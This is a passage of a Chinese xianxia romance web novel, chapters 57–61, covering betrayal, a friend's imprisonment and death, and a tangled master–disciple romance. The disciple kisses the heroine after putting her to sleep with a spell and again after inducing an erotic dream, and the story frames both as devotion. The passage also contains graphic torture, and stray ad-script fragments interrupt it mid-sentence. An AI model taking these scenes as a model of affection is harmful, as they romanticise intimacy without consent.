“不可以吗?”容皓缓缓抬眸,静如死水的眸色几乎溺死容晚。 容晚浅笑道:“你试试看。” 极轻的叹息声落入风里。 “晚晚,我当然知道,无法可解是什么意思。可是……”他划破腕间,扣住容晚纤白脖颈,心尖血灵喷涌而出,强迫她咽下刺目的红。 “我留得住你,我会用我的命留你。” 容晚咳了又咳,弄得身上点点血花,一片狼藉。不过渡灵,何必如此乖张行事。 无非是容皓在极端地警告她——活着,只能活着。而容晚只想回家。管他什么系统、什么任务。 她默然注视着眉眼狰狞的容皓,笑他不同于端庄首座的偏执,强冲灵脉,一点点逼出体内的血灵。 “如果想要留我的命,就放我走,否则——” “你不能走。”容皓扣住她的手腕。 容晚冷冷扫视他,唇齿间吐出如刀锋的话语,“今时你不顾我的意愿,再有下一次,我会杀了你。而你这停滞时间的游戏,到此为止。” 曾经她不会,是担心任务失败。 如今……她连任务都不想做了,谈何失败? 默然的,容皓松开手,让开通往山外的路。手一抬,虚假的天空破碎,结界浮现。 容晚披上长衫,沿着山道往下走。透过结界,连日光都悬停,落雪纷纷冻在空中,手一拂,飘落几粒。 结界破开的一瞬,时光恢复流淌,风继续吹,雪落而下。山道旁的山石上,她坐落的雪痕依然在。 原来一日也不曾过去。 这里还是那一日,那一刻。 既然还有时间,容晚再无顾忌,强用灵力,一路上无人可挡。 临到天门处—— 一柄光剑自天而降,裹着冷光云霞直刺,裂痕蜿蜒至脚下。 “容皓,你还是要拦我吗?”容晚喃喃道。 风骤起,剑光摇晃,容晚等了许久,容皓并未现身。她垂眸望向上因剑,望了又望,始终无人出现。 容晚弯唇笑了笑,忽觉上因的风有些冷意,她环抱双臂,转身而去,衣角随风飘晃,与云共舞。 上因剑发出悲鸣,剑身轻摇。 容晚远去多时,姗姗来迟的容皓拾剑在手,上因剑冰白的剑身泛着莹莹光芒,卷云纹顺着剑身蜿蜒。 容皓淡淡说:“去吧,随她去。事事护她为先。” 上因剑得令,穿破云雾霞光。 58. 岁不我与 事事百变,岁不如常。 容晚立于三界涡流之上,脚踏云端,远眺波涛翻涌的黑水。浪卷残云,衣衫在风中猎猎作响。 如今,她竟无处可去吗? 曾几何时,她遇见一个人。救他、护他、教他、怜惜他、可怜他,到如今,许久不见,她无端生出几分惦念。 透过层叠云海,容晚望见灯火如昼的人间界,处处烟火,那是他的盛世人间。她或许应该去看一看,但她就是不想,在这一刻,决绝地不想。 一入落乌主城,容晚只见纷纷扰扰,十里缟素,满城殡白。 长街两侧,人群簇拥,黎民百姓皆手捧白花,神情哀肃,无声而立。 忽有百兽喘息声由远及近,容晚抬眸一望,数百丈外,十六只巨魔兽开道,无数魔兽魔卫拥护,无一例外,皆是衣甲缟素,兵器挽花。 数不清是第几道灵幡划过眼前时,一只高大威猛的麒麟兽抬着一副灵棺,映入眼帘。 麒麟兽忽向人群中侧目一望,硕大的琉璃眼珠中露出几分惊喜,再一恍惚,好似望错般,无数个长得差不多的人一拥挤,它便望不见她了。 早在麒麟兽望来的一瞬间,容晚便隐去容貌,躲藏在人群之中。 不知是谁,一声悲戚高呼:“恭送大将军!” 这一刻,万民同悲。 为民战死者,可歌可敬,纵是归属不同,容晚亦是手中幻化一朵白花,静静站在人群后。 灵幡随风,如雪纷白的纸花片片而落,灵棺几近眼前时,众人齐跪哀泣:“恭送大将军!” 哭声顺着风传入耳中,男女老少皆泣之,甚至还有婴孩之哭。 眸中泛起几分泪意,再抬眸时,容晚僵在原地,手中白花怦然坠落,落入魔卫的脚下,一瓣瓣踩得粉碎。 万民齐跪,而容晚僵立于人群中,同怀抱婴孩的那人遥遥对视。 衡游乌发散在肩后,一身白衣缟素,他怀抱着的婴孩啼哭不止,正手忙脚乱地哄着,又顾着不能惊扰仪仗。 他察觉一道熟悉的视线,一抬眸,望见一女子遥遥而立,衣着普通,形貌随便。她眼眶中的泪意蔓延,惹得他泪眼依旧。 是容晚。 衡游无声吐出几个字,约定同她见面。 婴孩的哭声渐远,容晚仍僵在原地,人群随着灵棺远走追送,纷纷扰扰。 怎么会是衡游呢?那灵棺里的人是他的妻,怀中婴孩是他的孩子。 好半响,容晚逆着人群往远处走,撞入一个冰冷的胸膛。 锦绣华裳,纹金玄龙团簇在他衣襟前,容晚嗅到东州的雪意,听到来人的声音:“你怎会……在这里。” 抬眸望见的是褚尽欢,容晚后退半步,避之不及。 “未见跨界传书,上仙连声招呼也不打直入落乌,本君难免会多想些什么。”褚尽欢望着容晚失神,又惊起此时万民拜送褚空月,于情于理,他不该站在这里同她说话。 “若是探望故人,随时来落乌。”褚尽欢道:“如若不是,趁早离开。”褚尽欢绕过容晚,身影没入人海。 前后态度差别之大,容晚不明所以。她点了点头,也不知脾气好大的那位瞧见了没有。 如今王城人人服丧,市井茶楼人烟稀少,她随意进了家茶楼,点上一壶清茶。透过窗格,白色灵幡飘荡,家家户户前悬挂白灯。 “客观,茶水来喽。”掌柜的声音不如往日欢快,上了茶便想走。 “掌柜的,我有些事想打听一二。”容晚叫住他,在桌上放下两颗最纯净的魔晶,似乎不够,她将一袋魔晶推出去,淡淡道:“坐。” 掌柜笑眯眯地坐下。 “褚……那位大将军是如何离世的?”容晚问。 “这您都不知道?大将军虽是女子,英勇无双,守我落乌边境,誓死不退。可恨!可恨那咒宿,侵我家园,两军交战时居然——” “如何?” “他居然——”掌柜怒急生恨:“居然亲斩大将军,可惜小老儿病弱缠身,不能参军为大将军复仇!可我落乌男儿矫健,定能取那厮人头祭奠大将军!” “咒宿。”容晚喃喃道:“他是谁?” 明明已有猜测,她执拗问:“咒宿是谁?” “哼!仔细说来算是许多年前那位咒宿的转世,打着咒宿的名号,说什么收复落乌。可惜喽,江山换代喽!如今落乌民心所向可不是他!” 见容晚失神许久,掌柜伸手在她眼前晃了晃,“姑娘?可还有想问的?小老儿还要做生意呢?姑娘?” 只见女子面容姣好,白皙的肤色惊现一种死白,她眉间紧蹙,眼神哀恸,周身气血不知流淌到哪去。 “姑娘?你——” 一口血花喷溅,容晚皎白面容上血迹点点。 掌柜一惊,忙唤道:“姑娘!可要为你唤医官?” 容晚双眸失神,唇齿开合,什么也没说。 他杀了他的妻。 夙昼杀了衡游的妻。 两界开战,死伤难免。他当然可以斩杀敌国之将,他没有理由不杀褚空月。将死军心乱,他没做错。 那哪里错了呢? 是她错了。 “是我错了。”容晚说:“我不该将你卷进来,我不该帮夙昼夺权,那样……一切都不会发生了。” 见着姑娘面上死气渐重,掌柜喊道:“姑娘!” “是我错了……” 喉间锈味漫上来,容晚唇间溢出灵血,她吞咽下所有的血沫,才让声音从喉咙里亮出来。 见那掌柜欲唤医官来时,容晚恹恹道:“不必了。” “可——”掌柜还想坚持,但见容晚执拗,只道:“屏风后就是软榻,客官休息一会儿。左右这几间不再进客了,您好好休息。”而后捧着一袋魔晶出门,小心翼翼合上房门。 容晚连唇间血迹也不曾擦,摸出酒壶便往喉中灌去,好痛,好痛,明明早已没有了痛觉,为什么还是会痛。她不敢想衡游、不敢想夙昼。 烈酒入喉,容晚猛然咳嗽起来,她不管不顾,一杯接上一杯,非要喝到酩酊大醉。 醉了,便能忘了所有的不快。 “为什么?”容晚醉态已现,眼前似乎浮现夙昼的影子。青年帝王裹着龙纹大氅,手持宝剑朝她走来。 “夙昼,你可有想过我?”容晚醉问:“就算我自私好了。我偏要问一问。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你知我心性,知我好友,知道那是我们好友的妻。可你为什么?” 眸中只见虚影,容晚醉卧在榻,喃喃道:“为什么一丝也不顾及我?阿昼,我想问问你,我偏要问问你。” 指尖结印,泛着白光的法阵运转,心中所念化为一道传音。 “阿昼,我想见你,我想要问问你。” 法阵幻化一道流光,没入天际。 - 想见她。 想立刻见到她。 收到容晚传音时,夙昼正在沐浴,热雾氤氲中,满心全是她,模糊的光影里望见她的面容,又听见她的声音。 师父回来了? 一日未见,她便回来了。 夙昼以精血作引,踏破虚空而来。生怕惊醒容晚,他忍住泪意,站得笔直,身上只披了一件玄色薄衫,松松垮垮系着。 细细打量后,夙昼的视线密密麻麻地描摹她的面容,她好似一日之间经历数百年的苦楚,她过的不好。 容晚眉眼不安,唇边溢出几声呢喃,“哥哥,晚晚好想回家……” 哥哥?她又在唤容皓。 “您唤他,我不开心。”夙昼鬼使神差地伸出手、指尖触上她的脸颊,叫人深睡的灵咒落下。他一点点地划过她的眉眼,停了一下,又小心翼翼地抬起手。 鬼使神差。 微光窗影下,他虔诚地吻过去。 极轻、极浅、一触即离。 唇上触感久久不忘,他僵在原地,垂着眸,静静地感受时间流逝。 待一颗心停止躁动,夙昼指尖一动,轻唤道:“师父。” 容晚徐徐醒来。眸中尚有几分醉意,脸颊微红,显得气色红润一些。 “师父。”夙昼对上容晚那双疏离又冷漠的眼睛,轻言道:“您怎么不传个信,我去上因接您。” 容晚一时不知说些什么,太多质问的话不应说。可除了质问,竟没有别的话要讲了。 她又有什么资格来质问呢? 诸如衡游。 诸如随口一句等我,她真切等了,停滞幻境里数不清的时光,但于他不过是一日。 望着夙昼递来的茶盏,容晚接过,拿起又搁下,一口未喝。 容晚声音轻飘飘,情感全无,似是在和他划清界限,末了,淡淡一句,“我不懂,你为何现在会来。不过,都不重要了。” “师父今日唤我来,只是同我说这些吗?” 还有什么呢? 容晚垂眸,避过夙昼灼热的视线,说:“我想确认一事。” “好。”夙昼答应很快。 幻境中的那些日子,容晚总是若无若有地惦念,不明白为何时常会想起他、想见他。 为什么? 因为喜欢吗?因为爱吗? 容晚淡淡道:“吻我。” 夙昼慌乱说:“什么?” “你方才不是吻过吗?”容晚漠然审视着他,说:“吻我。” 容晚静静地倚坐在窗前,她一向坐得端正,却不显严肃,透出几分慵懒的意味。 衣裙上纹银的绣线闪着微光,映在容晚面容上,落下细小的光点,连唇间也是晶莹的。 59. 岁不我与 夙昼轻轻吞咽了下,他微微俯身,望向容晚的眼睛,澄澈、明若琉璃,有着一丝挣扎和疑虑,唯独没有爱与欲。 唇停在容晚面前,不过毫厘之差。 “师父这是作什么?”夙昼自嘲问。 容晚抬眸望着他的眼睛,他黝黑的瞳孔里泛起一丝红光,倒让她看出几分情深不悔。 容晚说:“我想确认。” “这样吗?” 夙昼不再犹豫,垂眸掩住所有的妄念,托住她的脖颈,吻过去。 容晚仍是端方地坐着,夙昼俯身吻着她,眸中是迷离的爱欲,呼吸渐乱。 “够了。”容晚推开他。 这一瞬,夙昼迟疑片刻,离开她的唇。唇间水光潋滟,呼吸微乱,可容晚的眼睛沉静入水,只能望得见几分挣扎。 一个算不上吻的吻,她端方未动,却叫他方寸大乱,情动难抑。 容晚静静垂着眸,她好像确认了什么,她似乎没有那样喜欢他。 没有喜欢到不惜一切,也要同他在一起。 没有喜欢到哪怕终将分离,也要及时行乐同他在一起。 不过是一点点心动。 不过是漫长时间里,对他太多的悲悯与怜惜。 不过是因为系统的任务围着他转,日日相处间,那多生的一点点绮念与遐想。 “所以呢?”夙昼问:“师父确认了吗?” 他不再掩饰眸中的欲望,视线追逐着她。他何尝不曾确认,她不爱他。 “嗯。”容晚闷声道。 “那现在——到我了。”夙昼不似方才小心翼翼,他微微站直,抬起容晚的下巴吻上去。 他的吻交织爱恨,便不显得温柔,强势到容晚被迫承受。容晚攥紧他的衣襟推他,却无法挣脱。 整间茶室的雾气渐渐升腾,不知何时,夙昼将她扣在怀中,试图从这一个吻里找到些证据。 她可能有一分爱他的证据。 夕阳将落,夜色渐浓。 混杂着灵力与灵血的吻停歇,夙昼蹲在容晚身前,抬眸望她。他唇边是桀骜不逊的笑意,眸中爱意深浓。 “我确认——”夙昼勾唇说:“爱您。” 容晚的目光从他脸上移开,望向窗外升起的明月,眼眸里渐渐泛起光亮,其中是夙昼从未见过的希冀与渴望。 “夙昼,你我终将离别,我看今日就很好。” “为什么?是因为我杀了褚空月?”夙昼问。 “你知道。”容晚说:“你作为咒宿可以杀她,但你若还有一分一毫想做夙昼,便不该杀她。” “那便不做夙昼好了。”夙昼语气平淡,“夙昼是您的弟子,但咒宿不是,我很乐意。” “那你想做谁?” “容晚,你希望我是谁?” 夙昼平生第一次唤她的名字,带着难言的情意。 “你认为,方才吻你的是谁?” 容晚闭上眼,道:“你不愿做夙昼,是吗?” “或许。”他学着她慵懒的腔调,缓缓勾起唇,说:“师父想要我做夙昼,我也做不成了,不是吗?您看见我的爱欲了,不能再做我师父了。” “随便你。” 容晚淡淡道。她的视线再也不曾落在夙昼身上,对他视而不见,自顾自饮茶,回复灵力。 “看来今您日不想见我。”夙昼起身,说:“您要我做三界共主,如今只差最后一步,这几日,您且看我是如何一步步走向您希望我走的路。上因要易主了。” 他就这样走了。 忽然,容晚心中有些异样,抚脉感受自己的心跳,沉闷却极快。她好像嗅到几分酸涩的气味。 眸光落在果盘里的柑橘上,她轻轻笑了。 容晚斜躺在软塌上,唇间满是灵血的锈味,渐渐地,困意袭来。她没有力气去衡游所说之地,点燃手中的找找符—— 符纸燃尽,只需静候。容晚不再强撑,顺着困意合上眼眸。 他会来的。 夜深人静,叶落无声。 来人胸膛微喘,一双眼睛红得惊人。他着寻常玄衣,腰间还坠着一枚玉佩,一步一动,脆响声声。 只见容晚不得安睡,眉间焦灼,脸色苍白。 衡游侧坐在她身侧,替她把脉。脉象不稳,灵力紊乱,诡道禁阵流转,维持着她体内所有的灵力运转,甚至是生命。 衡游重重地叹了一口气,未曾唤她,挪过桌角的香炉,换上新的香料。 淡淡药香顺着烟雾氤氲,衡游拿出银针,手起针落,助容晚稳定灵脉。 几个时辰过去,衡游终于松出一口气,看着容晚慢慢睁开双眼。 一见是他,容晚扬起笑,发自真心地连瞳眸都盛满笑意,“好久不见了,衡游。” “久吗?”衡游笑道:“我们不是刚刚见过,再不济昨日才见过。” “很久很久,”容晚认真说:“我被容皓困住了,在停滞时光的幻境中,过去了似乎很多很多年。所以——” 她眼中有泪意,“我真的很想你,衡游。” “那么久呀,我们容晚可是辛苦了,不过,这不是见到面了?哭什么?”衡游语气柔和,不知从何处漫出来的悲凉,让他眸色凄苦,说:“你答应我,别为我哭。” “为什么?”容晚反问。 “你答应。”衡游道。 “我答应。”容晚反问:“为什么?” 药香浓重,容晚闻着只觉安神,心情也舒畅不少。她伸出指尖去逗弄袅袅升起的云雾,发自内心地笑出声。 关于褚空月一事,衡游不提,她便不问,如无事般同他相处,才是最好。 见她笑意,衡游弯起唇,却是一抹苦笑,不忍打破此刻的平静,却不得不出言打破。 “容晚,我活不久了。”衡游淡淡道,他毫无惧意,神色如常。 不知何时起,衡游很少同容晚玩笑,不再肆意大笑,整个人沉稳下来,八风不动。 “你说什么?”容晚起身,太过焦急,手拂倒香炉,燃烧的药材落在手背上。她瞥过一眼,无暇顾及,执拗地盯着衡游问:“容皓要杀你?还是别人?” 任容晚再问,衡游不答,他小心地为她手背上药,“有件事,本来我打算跪下求你的。可我又想,你肯定不喜欢我跪下求 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你,所以我就坐着说了。” 许久,容晚堪堪吐出一个字。“好。” “你我好友这么些年,大事小事我从未求过你。今日算我求你、逼你,亦或是别的什么都可以,但我必须要说。” “我答应。” 容晚毫无犹豫,说:“衡游,我欠你太多,但我答应绝不是为了偿还你什么,我本就会这样做。” “不问我是什么吗?”衡游自嘲道:“你就这么答应了?” “我答应。”容晚字字坚定。 “其实恐怕我不说,你定然也会照拂阿弥。不是吗?”衡游见她手背伤口渐渐愈合,这才抬眸望她,见她苍白神色,眸中惊惧,又不忍再看。 “替我照拂阿弥,不用事事尽心,不用亲力亲为,不用带在身旁连累你自由身,只是不让她作恶便够了。” “好。所以为什么?我想不明白谁要杀你。”容晚思索颇多,夙昼绝不会动衡游,容皓有可能,褚尽欢受教仙祖门下不杀同门,不会是他。 “你想不明白。”衡游笑道:“所以不要想。” - 花开花落,云卷云舒。 容晚躲在衡游府上,她逗弄着衡游的小女,阿弥尚在襁褓,是爱笑的性情,勾住容晚的手指,嘿嘿笑个不停。 阿弥长得飞快。 自当年战事初起,褚空月身怀阿弥,以灵力压制多年,延缓阿弥出生。战场之上,她身死之前,匆匆诞下阿弥。阿弥一日长寻常婴孩一岁那般高。 小阿弥初次唤人,唤的是容晚,一声姑姑惊得她手中一颤,波浪鼓摔在地上。 “阿弥,你想爹爹了吗?” 阿弥又是嘿嘿一笑。 赶在衡游回家前,容晚仔细教学,终是在衡游抱起阿弥时,小阿弥扬起一笑,奶声唤了一声爹爹。 衡游大喜,遂扯着容晚去褚楼吃饭。 不知是不是被容皓关得久了,容晚如今日日缩在小院里,也不觉得难熬。她不想去,却想让衡游开心,此刻抱着阿弥陪同。 容晚抱着阿弥,看衡游喜上心头,一杯又是一杯,顷刻便是半醉。 这些年,他心中苦楚漫天,阿意之死,容晚虽未问,却有耳闻。夙昼与褚尽欢白咒城惊世一战,褚尽欢胜天半分,可这一战,他输了自己的小妹。 衡游一杯接着一杯,终了,容晚拦他,“喝醉了我可扛不动你,不能像从前那般肆意了。” “从前?”衡游微眯眼眸,“是啊,回不去了,若是回不去,能停在此刻也是好的,不是吗?哈哈!” 见衡游举杯相邀,容晚弯唇一笑,同他碰杯畅饮。 在她面前,衡游难得大醉,身上的疲倦感淡去三分。 一袭黑衣,了了尘生。容晚莫名想起这句话,她摇摇头,只道是一瞬遐想。 指尖微动,容晚为他披上一件寒衣,熄灭桌上烛火,凝望他的安睡。阿弥也睡得安稳,她轻拍阿弥的脊背,看她身形飞速长大。 再抬眼,容晚望向窗外的月色,月光皎洁,落地如雪。 容晚抱着阿弥,望着衡游睡颜失神。 要怎样留住衡游的命? 60. 岁不我与 楼阁之上,褚尽欢淡淡望去容晚一眼,道:“如今,这般近的距离,她也察觉不到你我。夙昼,你留不住她。” “留得住如何?留不住又如何?”夙昼淡淡道,“但留不留是我的事。” 夙昼的眸光落下去,容晚怀中抱着熟睡的阿弥,而她的眸光落在衡游身上。 “你要是强留她?”褚尽欢不屑一笑,“她会死给你看。” 夙昼但笑不语,半响,他的声音轻飘飘的落下来,说:“最后一战后,你带她走。” “哦?那你用什么来交换?”褚尽欢笑问:“本君从不做无利之时。” 夙昼眉目越发冷峻,起身饮尽酒盏,说:“随你。” “我若要三界共主之位呢?”褚尽欢问。 夙昼久久未答,望向窗外—— 莹白的梦兽在窗下躲躲藏藏,得到主人的指令,光芒渐盛,化成一道虚无的白光飞入容晚眉心。 春梦一场,旖旎艳色。 梦中人毫无知觉,而梦外人—— 夙昼泰然自若地拾阶而下,玄色衣摆划过石阶、桌角,停在那道白色的身影前。 她比月色明媚。 夙昼拂过她而畔碎发,指尖勾住那颗琉璃耳坠,忽听她一声嘤咛。 梦中种种,唯有他记得。 夙昼轻声说:“这是您予我的梦。” 他俯身吻她,辗转良久。 一滴泪坠落,夙昼起身离开,一眼也不曾望过褚尽欢。 目睹一切的褚尽欢眉目欲裂,他攥紧手中酒盏,重重搁在桌上。 褚尽欢飞身而下,抬手布下结界,指尖一动,衡游便落在了屏风前的软塌上,他则坐于容晚面前,捏诀唤醒她,道:“容晚,醒醒。” 见她沉醉梦中,褚尽欢手下发狠,掐住她纤细脖颈,道:“容晚,醒醒。” 容晚懵然望他。 褚尽欢稍稍垂下眸,“饮酒伤身。” “伤身?”容晚醒后,凝视着怀中安睡的阿弥,笑道:“如今这般,能饮几杯是几杯,你管我作什么?” “管你?本君掌权落乌,万人敬仰,哪里有闲心管你?”褚尽欢拿起她的酒盏,自饮自酌。 “这样啊。”容晚笑了笑,“那你同夙昼做什么交易?” “要你管。”褚尽欢淡淡道,神色自如,声音镇定,“不过是各取所需罢了。” 莫不是她已知夙昼来过、吻过,那她为什么毫无反应?她为何安然自若,毫不介意他的吻。 隔着氤氲茶雾,褚尽欢的面容有些模糊,容晚闭了闭眼,忆及过往种种,终是不忍心道:“你管不了我,你什么都管不了,一切都是注定的!你争不过他——” “容晚!”褚尽欢俊朗面容上浮现怒意,却仅仅是一瞬间,“我的事不用你来管。” “那你就偏偏要管我的事吗?”容晚无奈道:“没用的,你救不了我。你为什么……”她哽咽住,“师兄,你为什么非要强求呢?” “你自己要死,我只会拍手叫好,岂会救你?”褚尽欢凝望着容晚的面容,她脆弱、苍白、几近灵力全无,偏偏又比谁都坚韧。 褚尽欢继续嘴硬说:“别忘了,容晚。你我不死不休。” 容晚扬起唇,说:“这样最好。但愿你真的能做到。” “你,当真与我不死不休?”褚尽欢似是难以置信,可这份难以置信转瞬即逝,他嘲讽道:“我看你分明累得要死,还如何不死不休?” 曾亲密无间,也曾刀剑相向。 三界皆知,他们决裂后视对方为死敌,不死不休。褚尽欢曾剑指于她,立下誓言,此生与她不死不休。她那时回答“好啊,不死不休”。 容晚知他一而再再而三地试探,没再说话,抱着阿弥,唇边溢出一分苦笑,问道:“不死不休,我死即为休。” “呵——”褚尽欢佯装洒脱,翻窗而去。 酒盏磕至茶桌上,一声清脆,惊醒了衡游。 他们沿着落乌的主城大道缓缓向前。她走得很慢,忽然,天上落下纷纷白雪,容晚柔声说:“我抱不动了,阿弥长得太快。” 衡游抱过阿弥,忽然出声道:“容晚,我——” 话音中断,衡游望向天空,雪落纷纷。 “嗯?”容晚凝望掌心的雪花,浅浅的粉色,抬眸一望,轻声说:“开战了,落乌同上因终究是开战了,这就是最后一战吗?” 奠定夙昼三界共主的一战吗? 此时天幕之中,光影璀璨,星星点点的元灵和血一同落下。 “我该走了。”衡游很是抱歉,“饶是你抱不动,也要让你抱她一些时日了。” 衡游摘下腰间的温润双月玉佩,一分为二,递给容晚说:“你一个,阿弥一个。” “到时候了吗?”容晚眸中泛起泪花。 衡游笑得灿烂,说:“别想我。” - 自衡游离去,容晚只数过七日。 七日已过,审判书未下,灵台审判并未有任何风声。必定是容皓拦下审判书,用什么误判、错判的理由,将日子一延再延。 容晚再懒得数日子,直到阿弥长至她腰间时,天幕之上再也不见璀璨光点。 此时正值冬日,院内的落雪映得万物惨白。容晚薄薄衣衫,披着大氅望雪。她望得又何止是雪? “姑姑!”阿弥捧着一束星星草,朝容晚奔来。 阿弥焦急的小脸上挂着汗珠,边跑边喊:“姑姑,落乌败了,那爹爹——爹爹怎么办?” 落乌败是定局,容晚并不意外。她用丝帕为阿弥擦汗,安抚她说:“有姑姑在,爹爹不会有事的。” “真的吗?”阿弥问。 “真的。”容晚浅笑,轻轻拥抱住她,问:“那姑姑送你去一个帅气的阿叔那里,他会陪你玩一段时间,你要听他的话,好不好?” 阿弥瞬时委屈,泪水转瞬掉下来,“姑姑也不要我了?”她抱着容晚不撒手。 “要的。阿弥这么乖。姑姑舍不得阿弥。”容晚俯身,轻轻拍着她的肩背,柔声说:“阿弥乖乖和阿叔一起,姑姑去把爹爹带回来,好不好?” “好。”阿弥坚定重复:“好!是哪一个阿叔?阿弥见过没有?” “没有。” “那他住在哪里?” “很大很大的宫殿里。” “他一个人吗?” “嗯。” “那有阿弥陪他,他一定会开心的,对吗?” “对。” “……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 容晚抱着阿弥走至落乌王城,守城将卫将她拦住,却又觉得这女子颇为眼熟,正欲将她撵走,便听她极轻的一句:“你早知我来了,不如相见。” 我不知啊。 将卫迷惑不已,一抬眸望见城楼之上墨发红衣的戮君,他衣衫未整。此时正值深夜,君首显然是从床上赶来的。 冰冷的视线射过来,他不敢再望,率领一众将卫消失。 “夜半三更——想见我?”褚尽欢声线慵懒,他头一偏,望见她怀中睡熟的女童,说:“上仙不是孤身前来,本君很失望。” “是吗?”容晚将她怀中睡熟的阿弥递过去。 褚尽欢未明所以,却已手快地接到怀里。阿弥攥着他一缕发丝,身子一翻,便蜷在他怀里。他有些僵硬地问:“怎么?上仙深夜前来,不为风月,却送我孩子?” “嗯。”容晚的话有几分笑意,她不同褚尽欢置气,说:“你是最好的人选。” “比夙昼还好?”褚尽欢问。他惊觉失言,见容晚神色没什么变化,又问:“让我帮你看孩子?” “嗯。你们家的孩子该你来看。”容晚道。 褚空月是他小妹,虽说同父异母,却毕竟是骨血相连。再顾上她的情面,阿弥不会受苦。 阿弥又往褚尽欢怀中缩,眼见天气越来越冷,容晚说:“带她回去吧,天冷雪寒。我……没什么能谢你,你若看得上,再欠你一诺。” “欠?”褚尽欢忽然来了火气,讥讽说:“上仙好大的口气,怎么随口一诺就能在我这里要东要西?” 容晚知他有怒,咬唇道:“那你想要什么?” 褚尽欢忽然凑近她,冰冷的呼吸喷在她面上,“上仙记好了,我——” 褚尽欢指尖轻戳她心口,玩笑说:“我要你的命。” 雪夜极寒,顷刻间,大雪飘落,容晚应道:“好,我曾欠你一诺,如今又是一诺,你记得来取我的命。” 容晚身形消散时,褚尽欢慕然回首,凝视着容晚离去的方向,喜怒不明。 心中沉闷,血热难凉。褚尽欢再无睡意,他抱着阿弥,一步步走入纷扬大雪。 这场雪,落在落乌,落在容晚肩头。她强冲灵脉,一步千里,足足用去一盏茶,方至上因。 一入藏书阁,守阁的老书正从柜台后冒出脑袋来,笑问:“上仙如今慢了许多。” “不比从前。”容晚道。 “如何能比从前?”老书收拾着东西,问:“上仙数十年前离开上因,如今再回,不见首座,却先见我这小老儿,是为何?” “老书无所不知,何必问我?”容晚随意一坐,伸着冰凉的手在暖炉前回温,说:“想必容晚心中所惑——” “上仙所惑,小老儿知无不言。”老书答道:“第一,衡游上仙囚于禁狱,天罚加身。第二,首座心之所求,在于上仙。第三,上仙所求,唯死而已可得。” “多谢。”容晚俯身行礼后,再抬眸,已在阁外。 藏书阁外,有一块石碑,其上刻着禁入者的名单,此前只有一人褚尽欢,如今多上她的名字以及容皓。 老书天地所生,从此容皓与她再无法得见。 容晚恭敬俯身,又是一礼。 翻手之间,上因剑破云而来—— 61. 弃我去者 禁狱昏暗,死灵众多,每一道风刃如同神兵,可削灵骨,碎神魄。 邢架之上,衡游受过百道天罚,灵血流失,经脉空空如也,远远望去,只见模糊血肉。他气息微弱,“容皓,你要杀我,何必要等?你在等谁?” 容皓失笑:“你居然不知道在等谁?晚晚,在等晚晚。本座杀你,是因为你曾答应我护好晚晚,可你做不到!” 无名指尖的契约印记滚烫,容皓望向衡游指尖,那一处闪烁红光,怒意更甚,笑道:“可本座又觉得,如此杀你太过便宜,不如当着晚晚的面,好让她知道同我失约的下场!” “你为什么要逼她!”衡游怒道。他不惧死亡,他本可以安安静静地死去,如一颗灵草般枯萎,悄无声息。哪怕容皓如此折磨,他此生已有挚爱,小女托于挚友,自然不惧苦痛。 “啊——”衡游痛呼道。 “你连晚晚同旁人结下天道契都不知道,我留你有何用?”容皓冷峻的面容上不见怒意,眸子里却泛着烈焰,诡道秘术顺着衡游经脉冲走,寸寸暴击。 衡游气息减弱,他不知嗫嚅些什么。 容皓凑耳去听,衡游的鲜血顺着邢架滴落,雪白衣袍盛开血花。 “你……你说什么?”容皓忽然有耐心,他仔细地听。 间断而虚弱的呼吸声中,断断续续地溢出一个句子。 “容皓……如此这般,你半分折磨不到我,却生生地在折磨她。”衡游气若游丝,他问:“你为什么折磨她?你不是……” “不是什么?”容皓问。 衡游唇间笑意分明向死而生,问:“你不是爱她吗?” “妄言!”容皓怒从心生,“妄言!谬论!胡言乱语!” “你——不是爱她吗?”衡游字字坚定,讥讽道:“爱她,却要她的命。”他语气渐重,“一而再、再而三要她的命吗?” 血衣加身,衡游狼狈不堪。容皓忽然觉得刺眼,他太刺眼,时时刻刻提醒着那些不愿忆起的回忆。 “你该死。”容皓淡然道。 素白长袍,衣角点点血花。容皓伸手掐住衡游,滚烫热意顺着手腕流淌,浸湿衣摆。他鲜少如此愤怒,从未任由鲜血染身,此刻却顾不上其他。 杀了他。杀了他…… 玄衣、黑发、红血、白骨,灵锁流光游曳其间,惊心动魄。衡游渐渐垂下头,宛如一尊华美雕像,束缚在邢架上。 容皓怔愣住望他许久。 不爱她,又为何能一次次救她,与她同行并肩。天下没有如此这般道理。 为晚晚放弃首座之位、为晚晚自辞仙籍、为晚晚驻留人间领兵起义、为晚晚向死如生…… 衡游怎么会不爱她。 爱她,就得死。必须死。 不知多少时间过去,容皓身后传来浅浅的脚步声。容皓道:“传本座诏令,白衣罪仙实为衡游,他身为上因仙籍,领兵落乌,反攻上因,罪孽深重,死于禁狱天罚。” - “所以你便……亲手杀了他?” 不知何时,闻声回眸,容皓撞入破碎的眸光,指尖随意而动,竟是要毁尸灭迹,散衡游形身。 容晚竭力护住衡游,灵脉寸寸崩裂,她用己身元灵汇聚他元灵,崩溃道:“你为什么杀他?为什么!明明我才是白衣,他不欠你的!”她哭得伤心。 “他领落乌之兵,反攻上因,死罪难逃。”容皓冷冷道。 “他已自辞仙籍——” “本座说没有便没有。”容皓冷声说:“更何况,除我以外,爱你的人,都得死。” “爱我?他真正的罪名是爱我?不,是你的私心。”容晚愣住,苦笑问:“挚友之爱、至亲之爱、敬仰之爱、怜惜之爱,这世上爱我之人数不胜数,你要杀尽吗!” 容皓抚上容晚的面颊,柔声道:“但凡他不爱你,又怎会为你去死?容晚,他是自戕。他怕自己成为胁迫你的软肋,所以……自爆灵根,溅了哥哥一身的血。你看……” “你住口!”容晚痛彻心扉,一道剑光划出,容皓挣扎着后退半步。 “你用上因剑来杀我?”容皓难以置信,说:“我们曾相依为命——” “我们……”容晚几经哽咽,“我们曾经相依为命,是因为你父母早亡,无权无势,你没得选!” “不……”容皓缓缓摇头,阻挡剑光的阵印涣散,衣袍之上漫出血痕。 